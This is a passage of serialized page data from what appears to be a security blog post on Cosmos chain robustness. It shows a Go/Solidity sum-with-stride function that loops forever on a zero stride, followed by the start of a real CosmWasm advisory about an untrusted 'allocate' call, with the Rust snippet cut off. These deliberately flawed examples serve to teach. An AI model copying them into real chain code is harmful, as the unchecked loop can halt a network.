arr\n",{"type":23,"tag":41,"props":75975,"children":75976},{"class":43,"line":105},[75977,75981,75985,75989,75993,75998],{"type":23,"tag":41,"props":75978,"children":75979},{"style":70},[75980],{"type":28,"value":866},{"type":23,"tag":41,"props":75982,"children":75983},{"style":64},[75984],{"type":28,"value":127},{"type":23,"tag":41,"props":75986,"children":75987},{"style":58},[75988],{"type":28,"value":137},{"type":23,"tag":41,"props":75990,"children":75991},{"style":70},[75992],{"type":28,"value":142},{"type":23,"tag":41,"props":75994,"children":75995},{"style":94},[75996],{"type":28,"value":75997},"uint64",{"type":23,"tag":41,"props":75999,"children":76000},{"style":70},[76001],{"type":28,"value":152},{"type":23,"tag":41,"props":76003,"children":76004},{"class":43,"line":155},[76005,76009,76014,76018],{"type":23,"tag":41,"props":76006,"children":76007},{"style":94},[76008],{"type":28,"value":75926},{"type":23,"tag":41,"props":76010,"children":76011},{"style":70},[76012],{"type":28,"value":76013}," idx ",{"type":23,"tag":41,"props":76015,"children":76016},{"style":170},[76017],{"type":28,"value":2381},{"type":23,"tag":41,"props":76019,"children":76020},{"style":70},[76021],{"type":28,"value":76022}," start;\n",{"type":23,"tag":41,"props":76024,"children":76025},{"class":43,"line":186},[76026,76030,76035,76039,76043],{"type":23,"tag":41,"props":76027,"children":76028},{"style":94},[76029],{"type":28,"value":75926},{"type":23,"tag":41,"props":76031,"children":76032},{"style":70},[76033],{"type":28,"value":76034}," sum ",{"type":23,"tag":41,"props":76036,"children":76037},{"style":170},[76038],{"type":28,"value":2381},{"type":23,"tag":41,"props":76040,"children":76041},{"style":164},[76042],{"type":28,"value":392},{"type":23,"tag":41,"props":76044,"children":76045},{"style":70},[76046],{"type":28,"value":183},{"type":23,"tag":41,"props":76048,"children":76049},{"class":43,"line":195},[76050,76054,76059,76063],{"type":23,"tag":41,"props":76051,"children":76052},{"style":94},[76053],{"type":28,"value":75926},{"type":23,"tag":41,"props":76055,"children":76056},{"style":70},[76057],{"type":28,"value":76058}," end ",{"type":23,"tag":41,"props":76060,"children":76061},{"style":170},[76062],{"type":28,"value":2381},{"type":23,"tag":41,"props":76064,"children":76065},{"style":70},[76066],{"type":28,"value":76067}," arr.length;\n",{"type":23,"tag":41,"props":76069,"children":76070},{"class":43,"line":905},[76071],{"type":23,"tag":41,"props":76072,"children":76073},{"emptyLinePlaceholder":18},[76074],{"type":28,"value":82},{"type":23,"tag":41,"props":76076,"children":76077},{"class":43,"line":922},[76078,76082,76087,76091],{"type":23,"tag":41,"props":76079,"children":76080},{"style":58},[76081],{"type":28,"value":64369},{"type":23,"tag":41,"props":76083,"children":76084},{"style":70},[76085],{"type":28,"value":76086}," (idx ",{"type":23,"tag":41,"props":76088,"children":76089},{"style":170},[76090],{"type":28,"value":1012},{"type":23,"tag":41,"props":76092,"children":76093},{"style":70},[76094],{"type":28,"value":76095}," end) {\n",{"type":23,"tag":41,"props":76097,"children":76098},{"class":43,"line":930},[76099,76104,76108],{"type":23,"tag":41,"props":76100,"children":76101},{"style":70},[76102],{"type":28,"value":76103},"        sum ",{"type":23,"tag":41,"props":76105,"children":76106},{"style":170},[76107],{"type":28,"value":68433},{"type":23,"tag":41,"props":76109,"children":76110},{"style":70},[76111],{"type":28,"value":76112}," arr[idx];\n",{"type":23,"tag":41,"props":76114,"children":76115},{"class":43,"line":939},[76116,76121,76125],{"type":23,"tag":41,"props":76117,"children":76118},{"style":70},[76119],{"type":28,"value":76120},"        idx ",{"type":23,"tag":41,"props":76122,"children":76123},{"style":170},[76124],{"type":28,"value":68433},{"type":23,"tag":41,"props":76126,"children":76127},{"style":70},[76128],{"type":28,"value":76129}," stride;\n",{"type":23,"tag":41,"props":76131,"children":76132},{"class":43,"line":947},[76133],{"type":23,"tag":41,"props":76134,"children":76135},{"style":70},[76136],{"type":28,"value":192},{"type":23,"tag":41,"props":76138,"children":76139},{"class":43,"line":985},[76140,76144],{"type":23,"tag":41,"props":76141,"children":76142},{"style":58},[76143],{"type":28,"value":1090},{"type":23,"tag":41,"props":76145,"children":76146},{"style":70},[76147],{"type":28,"value":76148}," sum;\n",{"type":23,"tag":41,"props":76150,"children":76151},{"class":43,"line":1058},[76152],{"type":23,"tag":41,"props":76153,"children":76154},{"style":70},[76155],{"type":28,"value":201},{"type":23,"tag":31,"props":76157,"children":76161},{"code":76158,"language":76159,"meta":7,"className":76160,"style":7},"type MsgSumWithStrideParams struct {\n    Start uint64\n    Stride uint64\n    Arr []uint64\n}\n\ntype MsgSumWithStrideResponse struct {\n    Sum uint64\n}\n\nfunc (ms msgServer) SumWithStride(\n    goCtx context.Context,\n    msg *MsgSumWithStrideParams,\n) (*MsgSumWithStrideResponse, error) {\n    sum := uint64(0)\n    end := uint64(len(msg.Arr))\n    for idx := msg.Start; idx \u003C end; idx += msg.Stride {\n        sum += msg.Arr[idx]\n    }\n    return &MsgSumWithStrideResponse{Sum: sum}, nil\n}\n","go","language-go shiki shiki-themes slack-dark",[76162],{"type":23,"tag":37,"props":76163,"children":76164},{"__ignoreMap":7},[76165,76185,76198,76210,76228,76235,76242,76262,76274,76281,76288,76323,76349,76370,76399,76429,76474,76551,76587,76594,76638],{"type":23,"tag":41,"props":76166,"children":76167},{"class":43,"line":44},[76168,76172,76177,76181],{"type":23,"tag":41,"props":76169,"children":76170},{"style":64},[76171],{"type":28,"value":1669},{"type":23,"tag":41,"props":76173,"children":76174},{"style":94},[76175],{"type":28,"value":76176}," MsgSumWithStrideParams",{"type":23,"tag":41,"props":76178,"children":76179},{"style":64},[76180],{"type":28,"value":21138},{"type":23,"tag":41,"props":76182,"children":76183},{"style":70},[76184],{"type":28,"value":102},{"type":23,"tag":41,"props":76186,"children":76187},{"class":43,"line":54},[76188,76193],{"type":23,"tag":41,"props":76189,"children":76190},{"style":858},[76191],{"type":28,"value":76192},"    Start",{"type":23,"tag":41,"props":76194,"children":76195},{"style":94},[76196],{"type":28,"value":76197}," uint64\n",{"type":23,"tag":41,"props":76199,"children":76200},{"class":43,"line":76},[76201,76206],{"type":23,"tag":41,"props":76202,"children":76203},{"style":858},[76204],{"type":28,"value":76205},"    Stride",{"type":23,"tag":41,"props":76207,"children":76208},{"style":94},[76209],{"type":28,"value":76197},{"type":23,"tag":41,"props":76211,"children":76212},{"class":43,"line":85},[76213,76218,76223],{"type":23,"tag":41,"props":76214,"children":76215},{"style":858},[76216],{"type":28,"value":76217},"    Arr",{"type":23,"tag":41,"props":76219,"children":76220},{"style":70},[76221],{"type":28,"value":76222}," []",{"type":23,"tag":41,"props":76224,"children":76225},{"style":94},[76226],{"type":28,"value":76227},"uint64\n",{"type":23,"tag":41,"props":76229,"children":76230},{"class":43,"line":105},[76231],{"type":23,"tag":41,"props":76232,"children":76233},{"style":70},[76234],{"type":28,"value":201},{"type":23,"tag":41,"props":76236,"children":76237},{"class":43,"line":155},[76238],{"type":23,"tag":41,"props":76239,"children":76240},{"emptyLinePlaceholder":18},[76241],{"type":28,"value":82},{"type":23,"tag":41,"props":76243,"children":76244},{"class":43,"line":186},[76245,76249,76254,76258],{"type":23,"tag":41,"props":76246,"children":76247},{"style":64},[76248],{"type":28,"value":1669},{"type":23,"tag":41,"props":76250,"children":76251},{"style":94},[76252],{"type":28,"value":76253}," MsgSumWithStrideResponse",{"type":23,"tag":41,"props":76255,"children":76256},{"style":64},[76257],{"type":28,"value":21138},{"type":23,"tag":41,"props":76259,"children":76260},{"style":70},[76261],{"type":28,"value":102},{"type":23,"tag":41,"props":76263,"children":76264},{"class":43,"line":195},[76265,76270],{"type":23,"tag":41,"props":76266,"children":76267},{"style":858},[76268],{"type":28,"value":76269},"    Sum",{"type":23,"tag":41,"props":76271,"children":76272},{"style":94},[76273],{"type":28,"value":76197},{"type":23,"tag":41,"props":76275,"children":76276},{"class":43,"line":905},[76277],{"type":23,"tag":41,"props":76278,"children":76279},{"style":70},[76280],{"type":28,"value":201},{"type":23,"tag":41,"props":76282,"children":76283},{"class":43,"line":922},[76284],{"type":23,"tag":41,"props":76285,"children":76286},{"emptyLinePlaceholder":18},[76287],{"type":28,"value":82},{"type":23,"tag":41,"props":76289,"children":76290},{"class":43,"line":930},[76291,76296,76300,76305,76310,76314,76319],{"type":23,"tag":41,"props":76292,"children":76293},{"style":64},[76294],{"type":28,"value":76295},"func",{"type":23,"tag":41,"props":76297,"children":76298},{"style":70},[76299],{"type":28,"value":142},{"type":23,"tag":41,"props":76301,"children":76302},{"style":858},[76303],{"type":28,"value":76304},"ms ",{"type":23,"tag":41,"props":76306,"children":76307},{"style":94},[76308],{"type":28,"value":76309},"msgServer",{"type":23,"tag":41,"props":76311,"children":76312},{"style":70},[76313],{"type":28,"value":866},{"type":23,"tag":41,"props":76315,"children":76316},{"style":114},[76317],{"type":28,"value":76318},"SumWithStride",{"type":23,"tag":41,"props":76320,"children":76321},{"style":70},[76322],{"type":28,"value":3461},{"type":23,"tag":41,"props":76324,"children":76325},{"class":43,"line":939},[76326,76331,76336,76340,76345],{"type":23,"tag":41,"props":76327,"children":76328},{"style":858},[76329],{"type":28,"value":76330},"    goCtx",{"type":23,"tag":41,"props":76332,"children":76333},{"style":94},[76334],{"type":28,"value":76335}," context",{"type":23,"tag":41,"props":76337,"children":76338},{"style":70},[76339],{"type":28,"value":706},{"type":23,"tag":41,"props":76341,"children":76342},{"style":94},[76343],{"type":28,"value":76344},"Context",{"type":23,"tag":41,"props":76346,"children":76347},{"style":70},[76348],{"type":28,"value":3506},{"type":23,"tag":41,"props":76350,"children":76351},{"class":43,"line":947},[76352,76357,76361,76366],{"type":23,"tag":41,"props":76353,"children":76354},{"style":858},[76355],{"type":28,"value":76356},"    msg",{"type":23,"tag":41,"props":76358,"children":76359},{"style":170},[76360],{"type":28,"value":9814},{"type":23,"tag":41,"props":76362,"children":76363},{"style":94},[76364],{"type":28,"value":76365},"MsgSumWithStrideParams",{"type":23,"tag":41,"props":76367,"children":76368},{"style":70},[76369],{"type":28,"value":3506},{"type":23,"tag":41,"props":76371,"children":76372},{"class":43,"line":985},[76373,76378,76382,76387,76391,76395],{"type":23,"tag":41,"props":76374,"children":76375},{"style":70},[76376],{"type":28,"value":76377},") (",{"type":23,"tag":41,"props":76379,"children":76380},{"style":170},[76381],{"type":28,"value":377},{"type":23,"tag":41,"props":76383,"children":76384},{"style":94},[76385],{"type":28,"value":76386},"MsgSumWithStrideResponse",{"type":23,"tag":41,"props":76388,"children":76389},{"style":70},[76390],{"type":28,"value":970},{"type":23,"tag":41,"props":76392,"children":76393},{"style":94},[76394],{"type":28,"value":14855},{"type":23,"tag":41,"props":76396,"children":76397},{"style":70},[76398],{"type":28,"value":152},{"type":23,"tag":41,"props":76400,"children":76401},{"class":43,"line":1058},[76402,76407,76412,76417,76421,76425],{"type":23,"tag":41,"props":76403,"children":76404},{"style":858},[76405],{"type":28,"value":76406},"    sum",{"type":23,"tag":41,"props":76408,"children":76409},{"style":170},[76410],{"type":28,"value":76411}," :=",{"type":23,"tag":41,"props":76413,"children":76414},{"style":94},[76415],{"type":28,"value":76416}," uint64",{"type":23,"tag":41,"props":76418,"children":76419},{"style":70},[76420],{"type":28,"value":1737},{"type":23,"tag":41,"props":76422,"children":76423},{"style":164},[76424],{"type":28,"value":4024},{"type":23,"tag":41,"props":76426,"children":76427},{"style":70},[76428],{"type":28,"value":1969},{"type":23,"tag":41,"props":76430,"children":76431},{"class":43,"line":1084},[76432,76437,76441,76445,76449,76453,76457,76461,76465,76470],{"type":23,"tag":41,"props":76433,"children":76434},{"style":858},[76435],{"type":28,"value":76436},"    end",{"type":23,"tag":41,"props":76438,"children":76439},{"style":170},[76440],{"type":28,"value":76411},{"type":23,"tag":41,"props":76442,"children":76443},{"style":94},[76444],{"type":28,"value":76416},{"type":23,"tag":41,"props":76446,"children":76447},{"style":70},[76448],{"type":28,"value":1737},{"type":23,"tag":41,"props":76450,"children":76451},{"style":114},[76452],{"type":28,"value":9136},{"type":23,"tag":41,"props":76454,"children":76455},{"style":70},[76456],{"type":28,"value":1737},{"type":23,"tag":41,"props":76458,"children":76459},{"style":858},[76460],{"type":28,"value":57942},{"type":23,"tag":41,"props":76462,"children":76463},{"style":70},[76464],{"type":28,"value":706},{"type":23,"tag":41,"props":76466,"children":76467},{"style":858},[76468],{"type":28,"value":76469},"Arr",{"type":23,"tag":41,"props":76471,"children":76472},{"style":70},[76473],{"type":28,"value":19700},{"type":23,"tag":41,"props":76475,"children":76476},{"class":43,"line":1102},[76477,76481,76486,76490,76495,76499,76504,76508,76513,76517,76522,76526,76530,76534,76538,76542,76547],{"type":23,"tag":41,"props":76478,"children":76479},{"style":58},[76480],{"type":28,"value":3034},{"type":23,"tag":41,"props":76482,"children":76483},{"style":858},[76484],{"type":28,"value":76485}," idx",{"type":23,"tag":41,"props":76487,"children":76488},{"style":170},[76489],{"type":28,"value":76411},{"type":23,"tag":41,"props":76491,"children":76492},{"style":858},[76493],{"type":28,"value":76494}," msg",{"type":23,"tag":41,"props":76496,"children":76497},{"style":70},[76498],{"type":28,"value":706},{"type":23,"tag":41,"props":76500,"children":76501},{"style":858},[76502],{"type":28,"value":76503},"Start",{"type":23,"tag":41,"props":76505,"children":76506},{"style":70},[76507],{"type":28,"value":17213},{"type":23,"tag":41,"props":76509,"children":76510},{"style":858},[76511],{"type":28,"value":76512},"idx",{"type":23,"tag":41,"props":76514,"children":76515},{"style":170},[76516],{"type":28,"value":758},{"type":23,"tag":41,"props":76518,"children":76519},{"style":858},[76520],{"type":28,"value":76521}," end",{"type":23,"tag":41,"props":76523,"children":76524},{"style":70},[76525],{"type":28,"value":17213},{"type":23,"tag":41,"props":76527,"children":76528},{"style":858},[76529],{"type":28,"value":76512},{"type":23,"tag":41,"props":76531,"children":76532},{"style":170},[76533],{"type":28,"value":15056},{"type":23,"tag":41,"props":76535,"children":76536},{"style":858},[76537],{"type":28,"value":76494},{"type":23,"tag":41,"props":76539,"children":76540},{"style":70},[76541],{"type":28,"value":706},{"type":23,"tag":41,"props":76543,"children":76544},{"style":858},[76545],{"type":28,"value":76546},"Stride",{"type":23,"tag":41,"props":76548,"children":76549},{"style":70},[76550],{"type":28,"value":102},{"type":23,"tag":41,"props":76552,"children":76553},{"class":43,"line":1110},[76554,76559,76563,76567,76571,76575,76579,76583],{"type":23,"tag":41,"props":76555,"children":76556},{"style":858},[76557],{"type":28,"value":76558},"        sum",{"type":23,"tag":41,"props":76560,"children":76561},{"style":170},[76562],{"type":28,"value":15056},{"type":23,"tag":41,"props":76564,"children":76565},{"style":858},[76566],{"type":28,"value":76494},{"type":23,"tag":41,"props":76568,"children":76569},{"style":70},[76570],{"type":28,"value":706},{"type":23,"tag":41,"props":76572,"children":76573},{"style":858},[76574],{"type":28,"value":76469},{"type":23,"tag":41,"props":76576,"children":76577},{"style":70},[76578],{"type":28,"value":312},{"type":23,"tag":41,"props":76580,"children":76581},{"style":858},[76582],{"type":28,"value":76512},{"type":23,"tag":41,"props":76584,"children":76585},{"style":70},[76586],{"type":28,"value":11769},{"type":23,"tag":41,"props":76588,"children":76589},{"class":43,"line":1118},[76590],{"type":23,"tag":41,"props":76591,"children":76592},{"style":70},[76593],{"type":28,"value":192},{"type":23,"tag":41,"props":76595,"children":76596},{"class":43,"line":1137},[76597,76601,76605,76609,76614,76619,76623,76628,76633],{"type":23,"tag":41,"props":76598,"children":76599},{"style":58},[76600],{"type":28,"value":1090},{"type":23,"tag":41,"props":76602,"children":76603},{"style":170},[76604],{"type":28,"value":7140},{"type":23,"tag":41,"props":76606,"children":76607},{"style":94},[76608],{"type":28,"value":76386},{"type":23,"tag":41,"props":76610,"children":76611},{"style":70},[76612],{"type":28,"value":76613},"{",{"type":23,"tag":41,"props":76615,"children":76616},{"style":858},[76617],{"type":28,"value":76618},"Sum",{"type":23,"tag":41,"props":76620,"children":76621},{"style":70},[76622],{"type":28,"value":1418},{"type":23,"tag":41,"props":76624,"children":76625},{"style":858},[76626],{"type":28,"value":76627},"sum",{"type":23,"tag":41,"props":76629,"children":76630},{"style":70},[76631],{"type":28,"value":76632},"}, ",{"type":23,"tag":41,"props":76634,"children":76635},{"style":64},[76636],{"type":28,"value":76637},"nil\n",{"type":23,"tag":41,"props":76639,"children":76640},{"class":43,"line":1163},[76641],{"type":23,"tag":41,"props":76642,"children":76643},{"style":70},[76644],{"type":28,"value":201},{"type":23,"tag":24,"props":76646,"children":76647},{},[76648,76650,76655,76656,76662],{"type":28,"value":76649},"The provided Solidity / Cosmos snippets feature a public function that calculates the sums of an array using a provided starting ",{"type":23,"tag":37,"props":76651,"children":76653},{"className":76652},[],[76654],{"type":28,"value":76512},{"type":28,"value":7313},{"type":23,"tag":37,"props":76657,"children":76659},{"className":76658},[],[76660],{"type":28,"value":76661},"stride",{"type":28,"value":76663},". It is crucial to note that this function lacks robustness. A keen observer might have already identified that if the user supplies a stride value of 0, the code will result in an infinite loop.",{"type":23,"tag":24,"props":76665,"children":76666},{},[76667],{"type":28,"value":76668},"While an infinite loop is not ideal for Solidity, it may still be tolerable. The underlying blockchain on which a smart contract operates is responsible for monitoring the gas and computation budget. It will intervene and terminate the execution at a certain point. Interestingly, those types of \"unhandled error\" patterns are quite common occurrences in contracts.",{"type":23,"tag":24,"props":76670,"children":76671},{},[76672],{"type":28,"value":76673},"However, the same logic does not directly apply to Cosmos. In Cosmos, users are responsible for implementing the entire L1, and there is no underlying computation budget tracker that automatically stops code execution. As a result, any potential logic DoS or infinite loop can directly lead to the custom Cosmos L1 chain halting or stalling.",{"type":23,"tag":24,"props":76675,"children":76676},{},[76677],{"type":28,"value":76678},"This toy scenario captures the importance of attention to error handling, edge cases, and overall robustness in Cosmos.",{"type":23,"tag":546,"props":76680,"children":76682},{"id":76681},"real-world-examples",[76683],{"type":28,"value":76684},"Real-World Examples",{"type":23,"tag":24,"props":76686,"children":76687},{},[76688],{"type":28,"value":76689},"Now, let's examine a few real-world instances.",{"type":23,"tag":24,"props":76691,"children":76692},{},[76693,76695,76701,76702,76708,76710,76716,76718,76724],{"type":28,"value":76694},"In the case of ",{"type":23,"tag":458,"props":76696,"children":76699},{"href":76697,"rel":76698},"https://github.com/JumpCrypto/security-research/blob/e900a400f763075bdae161f4fd6e36d70da1d844/advisories/2023-003-cosmwasm.md",[462],[76700],{"type":28,"value":17680},{"type":28,"value":6456},{"type":23,"tag":37,"props":76703,"children":76705},{"className":76704},[],[76706],{"type":28,"value":76707},"CosmWasm",{"type":28,"value":76709}," bug, the helper method ",{"type":23,"tag":37,"props":76711,"children":76713},{"className":76712},[],[76714],{"type":28,"value":76715},"write_to_contract",{"type":28,"value":76717}," negligently calls the untrusted Wasm function ",{"type":23,"tag":37,"props":76719,"children":76721},{"className":76720},[],[76722],{"type":28,"value":76723},"\"allocate\"",{"type":28,"value":706},{"type":23,"tag":24,"props":76726,"children":76727},{},[76728],{"type":23,"tag":458,"props":76729,"children":76732},{"href":76730,"rel":76731},"https://github.com/CosmWasm/cosmwasm/blob/db426f9b15eabf18359df62878847bbaa7cb85ef/packages/vm/src/imports.rs#L409",[462],[76733],{"type":28,"value":76734},"Permalink for snippet",{"type":23,"tag":31,"props":76736,"children":76738},{"code":76737,"language":2981,"meta":7,"className":2982,"style":7},"fn write_to_contract\u003CA: BackendApi, S: Storage, Q: Querier>(\n    env: &Environment\u003CA, S, Q>,\n    input: &[u8],\n) -> VmResult\u003Cu32> {\n    let out_size = to_u32(input.len())?;\n    let result = env.call_function1(\"allocate\", &[out_size.into()])?;\n    let target_ptr = ref_to_u32(&result)?;\n    if target_ptr == 0 {\n        return Err(CommunicationError::zero_address().into());\n    }\n    write_region(&env.memory(), target_ptr, input)?;\n    Ok(target_ptr)\n}\n",[76739],{"type":23,"tag":37,"props":76740,"children":76741},{"__ignoreMap":7},[76742,76811,76859,76887,76916,76965,77039,77084,77107,77152,77159,77216,77235],{"type":23,"tag":41,"props":76743,"children":76744},{"class":43,"line":44},[76745,76749,76754,76758,76763,76767,76772,76776,76780,76784,76789,76793,76798,76802,76807],{"type":23,"tag":41,"props":76746,"children":76747},{"style":64},[76748],{"type":28,"value":20255},{"type":23,"tag":41,"props":76750,"children":76751},{"style":114},[76752],{"type":28,"value":76753}," write_to_contract",{"type":23,"tag":41,"props":76755,"children":76756},{"style":70},[76757],{"type":28,"value":1012},{"type":23,"tag":41,"props":76759,"children":76760},{"style":94},[76761],{"type":28,"value":76762},"A",{"type":23,"tag":41,"props":76764,"children":76765},{"style":170},[76766],{"type":28,"value":1474},{"type":23,"tag":41,"props":76768,"children":76769},{"style":94},[76770],{"type":28,"value":76771}," BackendApi",{"type":23,"tag":41,"props":76773,"children":76774},{"style":70},[76775],{"type":28,"value":970},{"type":23,"tag":41,"props":76777,"children":76778},{"style":94},[76779],{"type":28,"value":22036},{"type":23,"tag":41,"props":76781,"children":76782},{"style":170},[76783],{"type":28,"value":1474},{"type":23,"tag":41,"props":76785,"children":76786},{"style":94},[76787],{"type":28,"value":76788}," Storage",{"type":23,"tag":41,"props":76790,"children":76791},{"style":70},[76792],{"type":28,"value":970},{"type":23,"tag":41,"props":76794,"children":76795},{"style":94},[76796],{"type":28,"value":76797},"Q",{"type":23,"tag":41,"props":76799,"children":76800},{"style":170},[76801],{"type":28,"value":1474},{"type":23,"tag":41,"props":76803,"children":76804},{"style":94},[76805],{"type":28,"value":76806}," Querier",{"type":23,"tag":41,"props":76808,"children":76809},{"style":70},[76810],{"type":28,"value":6587},{"type":23,"tag":41,"props":76812,"children":76813},{"class":43,"line":54},[76814,76818,76822,76826,76831,76835,76839,76843,76847,76851,76855],{"type":23,"tag":41,"props":76815,"children":76816},{"style":858},[76817],{"type":28,"value":3841},{"type":23,"tag":41,"props":76819,"children":76820},{"style":170},[76821],{"type":28,"value":1474},{"type":23,"tag":41,"props":76823,"children":76824},{"style":170},[76825],{"type":28,"value":7140},{"type":23,"tag":41,"props":76827,"children":76828},{"style":94},[76829],{"type":28,"value":76830},"Environment",{"type":23,"tag":41,"props":76832,"children":76833},{"style":70},[76834],{"type":28,"value":1012},{"type":23,"tag":41,"props":76836,"children":76837},{"style":94},[76838],{"type":28,"value":76762},{"type":23,"tag":41,"props":76840,"children":76841},{"style":70},[76842],{"type":28,"value":970},{"type":23,"tag":41,"props":76844,"children":76845},{"style":94},[76846],{"type":28,"value":22036},{"type":23,"tag":41,"props":76848,"children":76849},{"style":70},[76850],{"type":28,"value":970},{"type":23,"tag":41,"props":76852,"children":76853},{"style":94},[76854],{"type":28,"value":76797},{"type":23,"tag":41,"props":76856,"children":76857},{"style":70},[76858],{"type":28,"value":6136},{"type":23,"tag":41,"props":76860,"children":76861},{"class":43,"line":76},[76862,76867,76871,76875,76879,76883],{"type":23,"tag":41,"props":76863,"children":76864},{"style":858},[76865],{"type":28,"value":76866},"    input",{"type":23,"tag":41,"props":76868,"children":76869},{"style":170},[76870],{"type":28,"value":1474},{"type":23,"tag":41,"props":76872,"children":76873},{"style":170},[76874],{"type":28,"value":7140},{"type":23,"tag":41,"props":76876,"children":76877},{"style":70},[76878],{"type":28,"value":312},{"type":23,"tag":41,"props":76880,"children":76881},{"style":94},[76882],{"type":28,"value":3419},{"type":23,"tag":41,"props":76884,"children":76885},{"style":70},[76886],{"type":28,"value":14255},{"type":23,"tag":41,"props":76888,"children":76889},{"class":43,"line":85},[76890,76894,76898,76903,76907,76912],{"type":23,"tag":41,"props":76891,"children":76892},{"style":70},[76893],{"type":28,"value":866},{"type":23,"tag":41,"props":76895,"children":76896},{"style":170},[76897],{"type":28,"value":2453},{"type":23,"tag":41,"props":76899,"children":76900},{"style":94},[76901],{"type":28,"value":76902}," VmResult",{"type":23,"tag":41,"props":76904,"children":76905},{"style":70},[76906],{"type":28,"value":1012},{"type":23,"tag":41,"props":76908,"children":76909},{"style":94},[76910],{"type":28,"value":76911},"u32",{"type":23,"tag":41,"props":76913,"children":76914},{"style":70},[76915],{"type":28,"value":7280},{"type":23,"tag":41,"props":76917,"children":76918},{"class":43,"line":105},[76919,76923,76928,76932,76937,76941,76945,76949,76953,76957,76961],{"type":23,"tag":41,"props":76920,"children":76921},{"style":64},[76922],{"type":28,"value":3002},{"type":23,"tag":41,"props":76924,"children":76925},{"style":858},[76926],{"type":28,"value":76927}," out_size",{"type":23,"tag":41,"props":76929,"children":76930},{"style":170},[76931],{"type":28,"value":3017},{"type":23,"tag":41,"props":76933,"children":76934},{"style":114},[76935],{"type":28,"value":76936}," to_u32",{"type":23,"tag":41,"props":76938,"children":76939},{"style":70},[76940],{"type":28,"value":1737},{"type":23,"tag":41,"props":76942,"children":76943},{"style":858},[76944],{"type":28,"value":8366},{"type":23,"tag":41,"props":76946,"children":76947},{"style":170},[76948],{"type":28,"value":706},{"type":23,"tag":41,"props":76950,"children":76951},{"style":114},[76952],{"type":28,"value":9136},{"type":23,"tag":41,"props":76954,"children":76955},{"style":70},[76956],{"type":28,"value":41955},{"type":23,"tag":41,"props":76958,"children":76959},{"style":170},[76960],{"type":28,"value":3155},{"type":23,"tag":41,"props":76962,"children":76963},{"style":70},[76964],{"type":28,"value":183},{"type":23,"tag":41,"props":76966,"children":76967},{"class":43,"line":155},[76968,76972,76976,76980,76984,76988,76993,76997,77001,77005,77009,77013,77018,77022,77026,77031,77035],{"type":23,"tag":41,"props":76969,"children":76970},{"style":64},[76971],{"type":28,"value":3002},{"type":23,"tag":41,"props":76973,"children":76974},{"style":858},[76975],{"type":28,"value":9157},{"type":23,"tag":41,"props":76977,"children":76978},{"style":170},[76979],{"type":28,"value":3017},{"type":23,"tag":41,"props":76981,"children":76982},{"style":858},[76983],{"type":28,"value":42949},{"type":23,"tag":41,"props":76985,"children":76986},{"style":170},[76987],{"type":28,"value":706},{"type":23,"tag":41,"props":76989,"children":76990},{"style":114},[76991],{"type":28,"value":76992},"call_function1",{"type":23,"tag":41,"props":76994,"children":76995},{"style":70},[76996],{"type":28,"value":1737},{"type":23,"tag":41,"props":76998,"children":76999},{"style":735},[77000],{"type":28,"value":76723},{"type":23,"tag":41,"props":77002,"children":77003},{"style":70},[77004],{"type":28,"value":970},{"type":23,"tag":41,"props":77006,"children":77007},{"style":170},[77008],{"type":28,"value":855},{"type":23,"tag":41,"props":77010,"children":77011},{"style":70},[77012],{"type":28,"value":312},{"type":23,"tag":41,"props":77014,"children":77015},{"style":858},[77016],{"type":28,"value":77017},"out_size",{"type":23,"tag":41,"props":77019,"children":77020},{"style":170},[77021],{"type":28,"value":706},{"type":23,"tag":41,"props":77023,"children":77024},{"style":114},[77025],{"type":28,"value":14877},{"type":23,"tag":41,"props":77027,"children":77028},{"style":70},[77029],{"type":28,"value":77030},"()])",{"type":23,"tag":41,"props":77032,"children":77033},{"style":170},[77034],{"type":28,"value":3155},{"type":23,"tag":41,"props":77036,"children":77037},{"style":70},[77038],{"type":28,"value":183},{"type":23,"tag":41,"props":77040,"children":77041},{"class":43,"line":186},[77042,77046,77051,77055,77060,77064,77068,77072,77076,77080],{"type":23,"tag":41,"props":77043,"children":77044},{"style":64},[77045],{"type":28,"value":3002},{"type":23,"tag":41,"props":77047,"children":77048},{"style":858},[77049],{"type":28,"value":77050}," target_ptr",{"type":23,"tag":41,"props":77052,"children":77053},{"style":170},[77054],{"type":28,"value":3017},{"type":23,"tag":41,"props":77056,"children":77057},{"style":114},[77058],{"type":28,"value":77059}," ref_to_u32",{"type":23,"tag":41,"props":77061,"children":77062},{"style":70},[77063],{"type":28,"value":1737},{"type":23,"tag":41,"props":77065,"children":77066},{"style":170},[77067],{"type":28,"value":855},{"type":23,"tag":41,"props":77069,"children":77070},{"style":858},[77071],{"type":28,"value":9079},{"type":23,"tag":41,"props":77073,"children":77074},{"style":70},[77075],{"type":28,"value":2678},{"type":23,"tag":41,"props":77077,"children":77078},{"style":170},[77079],{"type":28,"value":3155},{"type":23,"tag":41,"props":77081,"children":77082},{"style":70},[77083],{"type":28,"value":183},{"type":23,"tag":41,"props":77085,"children":77086},{"class":43,"line":195},[77087,77091,77095,77099,77103],{"type":23,"tag":41,"props":77088,"children":77089},{"style":58},[77090],{"type":28,"value":2440},{"type":23,"tag":41,"props":77092,"children":77093},{"style":858},[77094],{"type":28,"value":77050},{"type":23,"tag":41,"props":77096,"children":77097},{"style":170},[77098],{"type":28,"value":3282},{"type":23,"tag":41,"props":77100,"children":77101},{"style":164},[77102],{"type":28,"value":392},{"type":23,"tag":41,"props":77104,"children":77105},{"style":70},[77106],{"type":28,"value":102},{"type":23,"tag":41,"props":77108,"children":77109},{"class":43,"line":905},[77110,77114,77118,77122,77127,77131,77136,77140,77144,77148],{"type":23,"tag":41,"props":77111,"children":77112},{"style":58},[77113],{"type":28,"value":161},{"type":23,"tag":41,"props":77115,"children":77116},{"style":94},[77117],{"type":28,"value":15738},{"type":23,"tag":41,"props":77119,"children":77120},{"style":70},[77121],{"type":28,"value":1737},{"type":23,"tag":41,"props":77123,"children":77124},{"style":94},[77125],{"type":28,"value":77126},"CommunicationError",{"type":23,"tag":41,"props":77128,"children":77129},{"style":170},[77130],{"type":28,"value":3479},{"type":23,"tag":41,"props":77132,"children":77133},{"style":114},[77134],{"type":28,"value":77135},"zero_address",{"type":23,"tag":41,"props":77137,"children":77138},{"style":70},[77139],{"type":28,"value":13873},{"type":23,"tag":41,"props":77141,"children":77142},{"style":170},[77143],{"type":28,"value":706},{"type":23,"tag":41,"props":77145,"children":77146},{"style":114},[77147],{"type":28,"value":14877},{"type":23,"tag":41,"props":77149,"children":77150},{"style":70},[77151],{"type":28,"value":15416},{"type":23,"tag":41,"props":77153,"children":77154},{"class":43,"line":922},[77155],{"type":23,"tag":41,"props":77156,"children":77157},{"style":70},[77158],{"type":28,"value":192},{"type":23,"tag":41,"props":77160,"children":77161},{"class":43,"line":930},[77162,7716